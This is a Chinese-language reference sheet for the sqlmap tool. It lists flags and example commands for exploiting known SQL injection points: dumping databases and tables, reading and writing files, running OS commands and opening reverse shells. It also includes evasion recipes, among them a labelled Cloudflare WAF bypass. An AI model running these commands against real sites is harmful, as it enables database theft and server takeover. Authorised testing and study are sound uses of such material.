应用场景

自动测试注入已找到的sql注入漏洞点

命令参数

常用参数

参数 详解
-u “url” 注入的url
–data post请求payload
–cookie cookie注入
–dbs 列出所有数据库
-tables 列出所有表
-D 指定数据库
-T 指定表
-C 指定字段
–dump 跟在上面指定的参数一起使用,列出指定的数据
–sql-shell 写shell
–batch 默认选择y
–eta 盲注,显示时间和优化
–os-cmd=id 执行系统命令
–os-shell 系统交互shell
–os-pwn 反弹shell
–referer 使用referer欺骗
–users 列数据库所有用户
–threads 多线程
–file-read 读指定文件
–file-write 写入指定文件

示例

  1. post请求插入请求表单
1
sqlmap -u "url" --data="id=1&" --batch
  1. 列出数据库系统用户
1
sqlmap -u "url" --users -v 0
  1. 列出所有数据库名称
1
sqlmap -u "url" --dbs --batch
  1. 列出指定数据库的表
1
sqlmap -u "url" --tables -D "数据库名称" -tables --batch
  1. 列出指定表的数据
1
sqlmap -u "url" --tables -D "数据库名称" -T "表名" --dump --batch

安全参数

参数 详解
-proxy “url,url” 代理
–tamper Tamper 脚本,混淆 Payload
–chunked 分块传输编码
–random-agent 随机化 HTTP 头
–delay=5 请求延迟
–headers –headers="X-Forwarded-For:1.1.1.1"添加自定义 HTTP 头
–charset 强制指定字符集,绕过转义字符

示例

  1. 绕过 Cloudflare WAF
1
2
3
4
5
6
7
sqlmap -u "http://XXXXXXX.com?id=1" \
--tamper=space2comment,randomcase,versionedmorekeywords \
--random-agent \
--delay=3 \
--dbms=MySQL \
--level=5 \
--risk=3
  1. GBK 宽字节注入
1
2
3
4
5
sqlmap -u "http://XXXXXXX.com?id=1%df%27" \
--charset=gbk \
--tamper=unmagicquotes \
--dbms=MySQL \
--dbs
  1. JSON 参数注入
1
2
3
4
5
sqlmap -u "http://target.com/api" \
--data='{"id":"1*"}' \
--param-del=":" \
--headers="Content-Type: application/json" \
--dbms=MySQL

-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容